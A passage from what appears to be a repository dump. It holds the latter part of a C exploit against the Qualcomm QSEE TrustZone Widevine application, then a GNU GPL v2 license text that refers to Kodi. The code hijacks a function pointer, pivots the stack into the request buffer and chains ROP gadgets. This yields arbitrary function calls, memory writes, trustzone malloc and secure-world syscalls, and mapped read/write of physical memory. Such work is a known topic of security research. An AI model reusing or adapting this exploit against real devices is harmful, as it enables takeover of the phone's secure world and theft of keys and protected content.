memset(cmd_req, 0, cmd_req_size); 149 | memset(cmd_resp, 0, cmd_resp_size); 150 | 151 | int res; 152 | 153 | if (!g_request_buffer_physical_address) { 154 | 155 | //Setting the request code 156 | cmd_req[0] = wrapper_get_hdcp_capability; 157 | 158 | //First, writing a gadget which'll give us the physical address of R0 in the response buffer 159 | //This is so that we can later pivot to this address as a stack 160 | uint32_t wanted_target_ptr = (uint32_t)app + STR_R0_R1_BX_LR_OFFSET; 161 | uint32_t overwrite_address = (uint32_t)app + DATA_SEGMENT_OFFSET + OVERWRITE_FUNCTION_POINTER_OFFSET; 162 | write_dword_messy(handle, wanted_target_ptr, overwrite_address); 163 | write_dword_messy(handle, 0x80004, overwrite_address + sizeof(uint32_t)); 164 | 165 | //Executing the function to get the physical address of the buffer 166 | res = (*handle->QSEECom_set_bandwidth)(handle->qseecom, true); 167 | if (res < 0) { 168 | free(cmd_req); 169 | free(cmd_resp); 170 | perror("[-] Unable to enable clks"); 171 | return -errno; 172 | } 173 | 174 | res = (*handle->QSEECom_send_cmd)(handle->qseecom, 175 | cmd_req, 176 | cmd_req_size, 177 | cmd_resp, 178 | cmd_resp_size); 179 | 180 | if ((*handle->QSEECom_set_bandwidth)(handle->qseecom, false)) { 181 | perror("[-] Import key command: (unable to disable clks)"); 182 | } 183 | 184 | g_request_buffer_physical_address = cmd_resp[0]; 185 | printf("[+] Request buffer physical address: 0x%08X\n", g_request_buffer_physical_address); 186 | } 187 | 188 | if (!g_wrote_pivot_address) { 189 | //Writing the function pointer to the gadget which pivots using our request buffer 190 | uint32_t wanted_target_ptr = (uint32_t)app + STR_R0_R1_BX_LR_OFFSET; 191 | uint32_t overwrite_address = (uint32_t)app + DATA_SEGMENT_OFFSET + OVERWRITE_FUNCTION_POINTER_OFFSET; 192 | wanted_target_ptr = (uint32_t)app + LDM_R0_R0_R2_R3_IP_SP_LR_PC_OFFSET; 193 | write_dword_messy(handle, wanted_target_ptr, overwrite_address); 194 | write_dword_messy(handle, 0x80004, overwrite_address + sizeof(uint32_t)); 195 | 196 | g_wrote_pivot_address = 1; 197 | } 198 | 199 | //Writing the values which are popped off of the request buffer in the initial pivot 200 | uint32_t idx = 0; 201 | cmd_req[idx++] = wrapper_get_hdcp_capability; 202 | cmd_req[idx++] = GARBAGE_VALUE; //R2 203 | cmd_req[idx++] = GARBAGE_VALUE; //R3 204 | cmd_req[idx++] = GARBAGE_VALUE; //IP 205 | cmd_req[idx++] = g_request_buffer_physical_address + CRAFTED_STACK_OFFSET; //SP 206 | cmd_req[idx++] = GARBAGE_VALUE; //LR 207 | cmd_req[idx++] = (uint32_t)app + POP_R0_R1_R3_PC_OFFSET; //PC 208 | 209 | //Moving to the location of the crafted stack! 210 | idx = (CRAFTED_STACK_OFFSET / sizeof(uint32_t)); 211 | 212 | //Start of our crafted stack! 213 | //Setting R1 214 | cmd_req[idx++] = GARBAGE_VALUE; //R0 215 | cmd_req[idx++] = arg2; //R1 216 | cmd_req[idx++] = GARBAGE_VALUE; //R3 217 | 218 | //Setting R0, R2, R3 219 | cmd_req[idx++] = (uint32_t)app + POP_R0_R2_R3_R4_PC_OFFSET; //PC 220 | cmd_req[idx++] = arg1; //R0 221 | cmd_req[idx++] = arg3; //R2 222 | cmd_req[idx++] = arg4; //R3 223 | cmd_req[idx++] = GARBAGE_VALUE; //R4 224 | 225 | //Setting IP for the call 226 | cmd_req[idx++] = (uint32_t)app + POP_R4_R6_R9_FP_IP_PC_OFFSET; //PC 227 | cmd_req[idx++] = GARBAGE_VALUE; //R4 228 | cmd_req[idx++] = GARBAGE_VALUE; //R6 229 | cmd_req[idx++] = (uint32_t)app + DATA_SEGMENT_OFFSET; //R9 230 | cmd_req[idx++] = GARBAGE_VALUE; //FP 231 | cmd_req[idx++] = function_address; //IP 232 | 233 | //Jumping to the function! 234 | cmd_req[idx++] = (uint32_t)app + POP_R4_R5_R6_LR_BX_IP_OFFSET; //PC 235 | cmd_req[idx++] = GARBAGE_VALUE; //R4 236 | cmd_req[idx++] = GARBAGE_VALUE; //R5 237 | cmd_req[idx++] = GARBAGE_VALUE; //R6 238 | 239 | //Saving the return value in the version field in the application's data segment 240 | cmd_req[idx++] = (uint32_t)app + POP_R1_R3_R5_R7_PC_OFFSET; //LR 241 | cmd_req[idx++] = (uint32_t)app + DATA_SEGMENT_OFFSET + 556 - 520; //R1 242 | cmd_req[idx++] = GARBAGE_VALUE; //R3 243 | cmd_req[idx++] = GARBAGE_VALUE; //R5 244 | cmd_req[idx++] = GARBAGE_VALUE; //R7 245 | cmd_req[idx++] = (uint32_t)app + STR_R0_R1_520_POP_R4_R5_R6_PC_OFFSET; //PC 246 | cmd_req[idx++] = GARBAGE_VALUE; //R4 247 | cmd_req[idx++] = GARBAGE_VALUE; //R5 248 | cmd_req[idx++] = GARBAGE_VALUE; //R6 249 | 250 | //Popping the stack pointer to the original location 251 | uint32_t stack_location_for_r0 = g_request_buffer_physical_address + (idx + 10)*4; 252 | cmd_req[idx++] = (uint32_t)app + POP_R0_R1_R3_PC_OFFSET; //PC 253 | cmd_req[idx++] = stack_location_for_r0; //R0 254 | cmd_req[idx++] = GARBAGE_VALUE; //R1 255 | cmd_req[idx++] = GARBAGE_VALUE; //R3 256 | 257 | //Building the R0 values acting as a stack 258 | cmd_req[idx++] = (uint32_t)app + LDMDB_R0_R4_IP_SP_LR_PC_OFFSET; //PC 259 | cmd_req[idx++] = GARBAGE_VALUE; //R4 260 | cmd_req[idx++] = GARBAGE_VALUE; //IP 261 | cmd_req[idx++] = (uint32_t)app + DATA_SEGMENT_OFFSET + CALC_STACK_TOP_OFFSET; //SP 262 | cmd_req[idx++] = GARBAGE_VALUE; //LR 263 | cmd_req[idx++] = (uint32_t)app + MAIN_LOOP_RET_OFFSET; //PC 264 | 265 | res = (*handle->QSEECom_set_bandwidth)(handle->qseecom, true); 266 | if (res < 0) { 267 | free(cmd_req); 268 | free(cmd_resp); 269 | perror("[-] Unable to enable clks"); 270 | return -errno; 271 | } 272 | 273 | res = (*handle->QSEECom_send_cmd)(handle->qseecom, 274 | cmd_req, 275 | cmd_req_size, 276 | cmd_resp, 277 | cmd_resp_size); 278 | 279 | if ((*handle->QSEECom_set_bandwidth)(handle->qseecom, false)) { 280 | perror("[-] Import key command: (unable to disable clks)"); 281 | } 282 | 283 | //Freeing the buffers allocated 284 | free(cmd_req); 285 | free(cmd_resp); 286 | 287 | //Returning the value which was written into the version field 288 | return send_cmd_1026(handle); 289 | 290 | } 291 | 292 | void write_dword(struct qcom_wv_handle* handle, void* app, uint32_t value, uint32_t address) { 293 | execute_function(handle, app, (uint32_t)app + WRITE_DWORD_OFFSET, value, address, 0, 0); 294 | } 295 | 296 | void write_range(struct qcom_wv_handle* handle, void* app, uint32_t address, void* data, uint32_t length) { 297 | 298 | //Writing all the DWORDs in the buffer 299 | for (int i=0; i> 8) & 0xFF == 0) || 330 | ((buf[i-1] >> 16) & 0xFF == 0) || 331 | ((buf[i-1] >> 24) & 0xFF == 0)) 332 | return (char*)buf; 333 | 334 | //There was no NUL, so reserve more space and continue 335 | i++; 336 | buf = realloc(buf, sizeof(uint32_t)*i); 337 | } 338 | } 339 | 340 | uint32_t tz_malloc(struct qcom_wv_handle* handle, void* app, uint32_t size) { 341 | return execute_function(handle, app, (uint32_t)app + MALLOC_OFFSET, size, 0, 0, 0); 342 | } 343 | 344 | uint32_t qsee_syscall(struct qcom_wv_handle* handle, void* app, uint32_t syscall_num, uint32_t arg1, uint32_t arg2, uint32_t arg3) { 345 | return execute_function(handle, app, (uint32_t)app + QSEE_SYSCALL_OFFSET, syscall_num, arg1, arg2, arg3); 346 | } 347 | 348 | uint32_t map_read_dword(struct qcom_wv_handle* handle, void* app, uint32_t address) { 349 | uint32_t map_addr = address & ~(0xFFF); 350 | qsee_syscall(handle, app, QSEE_REGISTER_SHARED_BUF, map_addr, PAGE_SIZE, 0); 351 | qsee_syscall(handle, app, QSEE_PREPARE_SECURE_READ, map_addr, PAGE_SIZE, 0); 352 | uint32_t val = read_dword(handle, app, address); 353 | qsee_syscall(handle, app, QSEE_UNPREPARE_SECURE_READ, map_addr, PAGE_SIZE, 0); 354 | qsee_syscall(handle, app, QSEE_DEREGISTER_SHARED_BUF, map_addr, PAGE_SIZE, 0); 355 | return val; 356 | } 357 | 358 | void map_write_dword(struct qcom_wv_handle* handle, void* app, uint32_t value, uint32_t address) { 359 | uint32_t map_addr = address & ~(0xFFF); 360 | qsee_syscall(handle, app, QSEE_REGISTER_SHARED_BUF, map_addr, PAGE_SIZE, 0); 361 | qsee_syscall(handle, app, QSEE_PREPARE_SECURE_READ, map_addr, PAGE_SIZE, 0); 362 | write_dword(handle, app, value, address); 363 | qsee_syscall(handle, app, QSEE_UNPREPARE_SECURE_READ, map_addr, PAGE_SIZE, 0); 364 | qsee_syscall(handle, app, QSEE_DEREGISTER_SHARED_BUF, map_addr, PAGE_SIZE, 0); 365 | } 366 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | You may use, distribute and copy Kodi under the terms of GNU General 2 | Public License version 2, which is displayed below. 3 | 4 | ------------------------------------------------------------------------- 5 | 6 | GNU GENERAL PUBLIC LICENSE 7 | Version 2, June 1991 8 | 9 | Copyright (C) 1989, 1991 Free Software Foundation, Inc. 10 | 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 11 | Everyone is permitted to copy and distribute verbatim copies 12 | of this license document, but changing it is not allowed. 13 | 14 | Preamble 15 | 16 | The licenses for most software are designed to take away your 17 | freedom to share and change it. By contrast, the GNU General Public 18 | License is intended to guarantee your freedom to share and change free 19 | software--to make sure the software is free for all its users. This 20 | General Public License applies to most of the Free Software 21 | Foundation's software and to any other program whose authors commit to 22 | using it. (Some other Free Software Foundation software is covered by 23 | the GNU Library General Public License instead.) You can apply it to 24 | your programs, too. 25 | 26 | When we speak of free software, we are referring to freedom, not 27 | price. Our General Public Licenses are designed to make sure that you 28 | have the freedom to distribute copies of free software (and charge for 29 | this service if you wish), that you receive source code or can get it 30 | if you want it, that you can change the software or use pieces of it 31 | in new free programs; and that you know you can do these things. 32 | 33 | To protect your rights, we need to make restrictions that forbid 34 | anyone to deny you these rights or to ask you to surrender the rights. 35 | These restrictions translate to certain responsibilities for you if you 36 | distribute copies of the software, or if you modify it. 37 | 38 | For example, if you distribute copies of such a program, whether 39 | gratis or for a fee, you must give the recipients all the rights that 40 | you have. You must make sure that they, too, receive or can get the 41 | source code. And you must show them these terms so they know their 42 | rights. 43 | 44 | We protect your rights with two steps: (1) copyright the software, and 45 | (2) offer you this license which gives you legal permission to copy, 46 | distribute and/or modify the software. 47 | 48 | Also, for each author's protection and ours, we want to make certain 49 | that everyone understands that there is no warranty for this free 50 | software. If the software is modified by someone else and passed on, we 51 | want its recipients to know that what they have is not the original, so 52 | that any problems introduced by others will not reflect on the original 53 | authors' reputations. 54 | 55 | Finally, any free program is threatened constantly by software 56 | patents. We wish to avoid the danger that redistributors of a free 57 | program will individually obtain patent licenses, in effect making the 58 | program proprietary. To prevent this, we have made it clear that any 59 | patent must be licensed for everyone's free use or not licensed at all. 60 | 61 | The precise terms and conditions for copying, distribution and 62 | modification follow. 63 | 64 | GNU GENERAL PUBLIC LICENSE 65 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 66 | 67 | 0. This License applies to any program or other work which contains 68 | a notice placed by the copyright holder saying it may be distributed 69 | under the terms of this General Public License. The "Program", below, 70 | refers to any such program or work, and a "work based on the Program" 71 | means either the Program or any derivative work under copyright law: 72 | that is to say, a work containing the Program or a portion of it, 73 | either verbatim or with modifications and/or translated into another 74 | language. (Hereinafter, translation is included without limitation in 75 | the term "modification".) Each licensee is addressed as "you". 76 | 77 | Activities other than copying, distribution and modification are not 78 | covered by this License; they are outside its scope. The act of 79 | running the Program is not restricted, and the output from the Program 80 | is covered only if its contents constitute a work based on the 81 | Program (independent of having been made by running the Program). 82 | Whether that is true depends on what the Program does. 83 | 84 | 1. You may copy and distribute verbatim copies of the Program's 85 | source code as you receive it, in any medium, provided that you 86 | conspicuously and appropriately publish on each copy an appropriate 87 | copyright notice and disclaimer of warranty; keep intact all the 88 | notices that refer to this License and to the absence of any warranty; 89 | and give any other recipients of the Program a copy of this License 90 | along with the Program. 91 | 92 | You may charge a fee for the physical act of transferring a copy, and 93 | you may at your option offer warranty protection in exchange for a fee. 94 | 95 | 2. You may modify your copy or copies of the Program or any portion 96 | of it, thus forming a work based on the Program, and copy and 97 | distribute such modifications or work under the terms of Section 1 98 | above, provided that you also meet all of these conditions: 99 | 100 | a) You must cause the modified files to carry prominent notices 101 | stating that you changed the files and the date of any change. 102 | 103 | b) You must cause any work that you distribute or publish, that in 104 | whole or in part contains or is derived from the Program or any 105 | part thereof, to be licensed as a whole at no charge to all third 106 | parties under the terms of this License. 107 | 108 | c) If the modified program normally reads commands interactively 109 | when run, you must cause it, when started running for such 110 | interactive use in the most ordinary way, to print or display an 111 | announcement including an appropriate copyright notice and a 112 | notice that there is no warranty (or else, saying that you provide 113 | a warranty) and that users may redistribute the program under 114 | these conditions, and telling the user how to view a copy of this 115 | License. (Exception: if the Program itself is interactive but 116 | does not normally print such an announcement, your work based on 117 | the Program is not required to print an announcement.) 118 | 119 | These requirements apply to the modified work as a whole. If 120 | identifiable sections of that work are not derived from the Program, 121 | and can be reasonably considered independent and separate works in 122 | themselves, then this License, and its terms, do not apply to those 123 | sections when you distribute them as separate works. But when you 124 | distribute the same sections as part of a whole which is a work based 125 | on the Program, the distribution of the whole must be on the terms of 126 | this License, whose permissions for other licensees extend to the 127 | entire whole, and thus to each and every part regardless of who wrote it. 128 | 129 | Thus, it is not the intent of this section to claim rights or contest 130 | your rights to work written entirely by you; rather, the intent is to 131 | exercise the right to control the distribution of derivative or 132 | collective works based on the Program. 133 | 134 | In addition, mere aggregation of another work not based on the Program 135 | with the Program (or with a work based on the Program) on a volume of 136 | a storage or distribution medium does not bring the other work under 137 | the scope of this License. 138 | 139 | 3. You may copy and distribute the Program (or a work based on it, 140 | under Section 2) in object code or executable form under the terms of 141 | Sections 1 and 2 above provided that you also do one of the following: 142 | 143 | a) Accompany it with the complete corresponding machine-readable 144 | source code, which must be distributed under the terms of Sections 145 | 1 and 2 above on a medium customarily used for software interchange; or, 146 | 147 | b) Accompany it with a written offer, valid for at least three 148 | years, to give any third party, for a charge no more than your 149 | cost of physically performing source distribution, a complete 150 | machine-readable copy of the corresponding source code, to be 151 | distributed under the terms of Sections 1 and 2 above on a medium 152 | customarily used for software interchange; or, 153 | 154 | c) Accompany it with the information you received as to the offer 155 | to distribute corresponding source code. (This alternative is 156 | allowed only for noncommercial distribution and only if you 157 | received the program in object code or executable form with such 158 | an offer, in accord with Subsection b above.) 159 | 160 | The source code for a work means the preferred form of the work for 161 | making modifications to it. For an executable work, complete source 162 | code means all the source code for all modules it contains, plus any 163 | associated interface definition files, plus the scripts used to 164 | control compilation and installation of the executable. However, as a 165 | special exception, the source code distributed need not include 166 | anything that is normally distributed (in either source or binary 167 | form) with the major components (compiler, kernel, and so on) of the 168 | operating system on which the executable runs, unless that component 169 | itself accompanies the executable. 170 | 171 | If distribution of executable or object code is made by offering 172 | access to copy from a designated place, then offering equivalent 173 | access to copy the source code from the same place counts as 174 | distribution of the source code, even though third parties are not 175 | compelled to copy the source along with the object code. 176 | 177 | 4. You may not copy, modify, sublicense, or distribute the Program 178 | except as expressly provided under this License. Any attempt 179 | otherwise to copy, modify, sublicense or distribute the Program is 180 | void, and will automatically terminate your rights under this License. 181 | However, parties who have received copies, or rights, from you under 182 | this License will not have their licenses terminated so long as such 183 | parties remain in full compliance. 184 | 185 | 5. You are not required to accept this License, since you have not 186 | signed it. However, nothing else grants you permission to modify or 187 | distribute the Program or its derivative works. These actions are 188 | prohibited by law if you do not accept this License. Therefore, by 189 | modifying or distributing the Program (or any work based on the 190 | Program), you indicate your acceptance of this License to do so, and 191 | all its terms and conditions for copying, distributing or modifying 192 | the Program or works based on it. 193 | 194 | 6. Each time you redistribute the Program (or any work based on the 195 | Program), the recipient automatically receives a license from the 196 | original licensor to copy, distribute or modify the Program subject to 197 | these terms and conditions. You may not impose any further 198 | restrictions on the recipients' exercise of the rights granted herein. 199 | You are not responsible for enforcing compliance by third parties to 200 | this License. 201 | 202 | 7. If, as a consequence of a court judgment or allegation of patent 203 | infringement or for any other reason (not limited to patent issues), 204 | conditions are imposed on you (whether by court order, agreement or 205 | otherwise) that contradict the conditions of this License, they do not 206 | excuse you from the conditions of this License. If you cannot 207 | distribute so as to satisfy simultaneously your obligations under this 208 | License and any other pertinent obligations, then as a consequence you 209 | may not distribute the Program at all. For example, if a patent 210 | license would not permit royalty-free redistribution of the Program by 211 | all those who receive copies directly or indirectly through you, then 212 | the only way you could satisfy both it and this License would be to 213 | refrain entirely from distribution of the Program. 214 | 215 | If any portion of this section is held invalid or unenforceable under 216 | any particular circumstance, the balance of the section is intended to 217 | apply and the section as a whole is intended to apply in other 218 | circumstances. 219 | 220 | It is not the purpose of this section to induce you to infringe any 221 | patents or other property right claims or to contest validity of any 222 | such claims; this section has the sole purpose of protecting the 223 | integrity of the free software distribution system, which is 224 | implemented by public license practices. Many people have made 225 | generous contributions to the wide range of software distributed 226 | through that system in reliance on consistent application of that 227 | system; it is up to the author/donor to decide if he or she is willing 228 | to distribute software through any other system and a licensee cannot 229 | impose that choice. 230 | 231 | This section is intended to make thoroughly clear what is believed to 232 | be a consequence of the rest of this License. 233 | 234 | 8. If the distribution and/or use of the Program is restricted in 235 | certain countries either by patents or by copyrighted interfaces, the 236 | original copyright holder who places the Program under this License 237 | may add an explicit geographical distribution limitation excluding 238 | those countries, so that distribution is permitted only in or among 239 | countries not thus excluded. In such case, this License incorporates 240 | the limitation as if written in the body of this License. 241 | 242 | 9. The Free Software Foundation may publish revised and/or new versions 243 | of the General Public License from time to time. Such new versions will 244 | be similar in spirit to the present version, but may differ in detail to 245 | address new problems or concerns. 246 | 247 | Each version is given a distinguishing version number. If the Program 248 | specifies a version number of this License which applies to it and "any 249 | later version", you have the option of following the terms and conditions 250 | either of that version or of any later version published by the Free 251 | Software Foundation. If the Program does not specify a version number of 252 | this License, you may choose any version ever published by the Free Software 253 | Foundation. 254 | 255 | 10. If you wish to incorporate parts of the Program into other free 256 | programs whose distribution conditions are different, write to the author 257 | to ask for permission. For software which is copyrighted by the Free 258 | Software Foundation, write to the Free Software Foundation; we sometimes 259 | make exceptions for this. Our decision will be guided by the two goals 260 | of preserving the free status of all derivatives of our free software and 261 | of promoting the sharing and reuse of software generally. 262 | 263 | NO WARRANTY 264 | 265 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 266 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 267 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 268 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 269 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 270 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 271 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 272 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 273 | REPAIR OR CORRECTION. 274 | 275 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 276 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 277 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 278 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 279 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 280 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 281 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 282 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 283 | POSSIBILITY OF SUCH DAMAGES. 284 | 285 | END OF TERMS AND CONDITIONS 286 | ------------------------------------------------------------------------- 287 | --------------------------------------------------------------------------------